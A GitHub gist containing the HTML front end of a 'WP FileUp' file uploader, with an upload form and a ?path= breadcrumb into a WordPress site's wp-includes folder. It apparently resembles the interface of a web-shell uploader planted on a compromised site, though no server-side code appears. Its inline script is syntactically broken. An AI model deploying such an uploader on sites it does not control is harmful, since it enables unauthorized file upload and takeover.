Skip to content

Instantly share code, notes, and snippets.

@rayantony
Created August 18, 2016 15:13
Show Gist options
  • Select an option

  • Save rayantony/f1b5067e9d6d2cdbc5766bc783ad2850 to your computer and use it in GitHub Desktop.

Select an option

Save rayantony/f1b5067e9d6d2cdbc5766bc783ad2850 to your computer and use it in GitHub Desktop.
Uploaders

Basic Uploader

HTML Uploader Form example with minimal styling

@rayantony

<!DOCTYPE html>
<html><head><title>WP FileUp Uploader test</title>
<script>
function (){ var style = document.createElement('style'), styleContent = document.createTextNode( 'p,footer,header,a,article,soundmanager,video,input,post,h1,hr,h3{ animation-delay:1.5s; animation:fly-in-from-right 0.93s 1s ease both; transform-origin:top right; } top-panels,h4,h5,img,.bottom-panels,.list-group-item,list-item,list,li,ol,shop-button,shop-item,cart,ad,dl,dt,dd,figure {animation-delay:1.8s; animation:fly-in-from-left 2.93s 1.2s ease both; -webkit-animation-delay:1.8s; -webkit-animation:fly-in-from-left 2.93s 1.5s ease both; transform-origin:top left; } @keyframes fly-in-from-top { from { transform:translateX(12rem) rotate(90deg); opacity:0; } } @keyframes fly-in-from-left { from { transform:translateY(12rem) rotate(180deg); opacity:0; } } @keyframes fly-in-from-right { from { transform:translateY(12rem) rotate(-360deg); opacity:0; } }'+ 'frame,iframe,section{ animation-delay:2s; animation:fly-in-from-left 2s 2s ease both; transform-origin:top left; } body { font-size: 1.5em; line-height: 1.6; font-weight: 400; font-family: "Raleway", "HelveticaNeue", "Helvetica Neue", Helvetica, Arial, sans-serif; color: #222; }' );style.appendChild(styleContent ); var mexMe = document.getElementsByTagName('head'); mexMe[0].appendChild(style);
})();
</script>
<style>
html,*,body{
font-family: "Roboto";
background-color: #222;
text-shadow:0px 0px 1px #fff;
color:#ffe;
}
#content tr:hover{
background-color: rgba(0,0,0,0.1);
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: rgba(0,0,0,0.3);
}
#content .first:hover{
background-color: rgba(0,0,0,0.3);
text-shadow:0px 0px 1px #fff;
}
table{
border: 1px lightblue dotted;
}
H1{
font-family: "Roboto";
}
a{
color: lightblue;
text-decoration: none;
}
a:hover{
text-shadow:2px 2px 15px #ffffff;
font-weight:bold;
}
input,select,textarea,#submit{
color:#ffe;
padding:9px;
background:-webkit-gradient(linear, 0 0, 100% 100%, from(white), to(rgba(0,0,0,0.5));
border:1px solid #ffcc00;
-moz-border-radius:5px;
-webkit-border-radius:5px;
border-radius:5px;
border-bottom:1px solid rgba(255,255,255,0.5);
-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.5);
-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.5);
box-shadow:inset 0 1px 0 rgba(255,255,255,0.5);
cursor:pointer;
}
#submit{
background: -webkit-gradient(linear, 0 0, 100% 100%, from(white), to(black));
border: 1px #fff solid;
}
</style>
</head><body>
<h2><center>WP FileUp</center></h2>
<table width="480" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : <a href="?path=/">/</a>
<a href="?path=/home">home</a>
/<a href="?path=/home/sitename">
sitename</a>
/<a href="?path=/home/sitename/www">
www</a>
/<a href="?path=/home/sitename/www/wp-includes">
wp-includes</a>
/</td>
</tr>
<tr><td>
<form enctype="multipart/form-data" method="POST">
File : <input type="file" name="file" />
<input name="submit" id="submit" type="submit" value="upload" />
</form>
</td></tr>
<tr><td>
</tr></td>
</table></body></html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment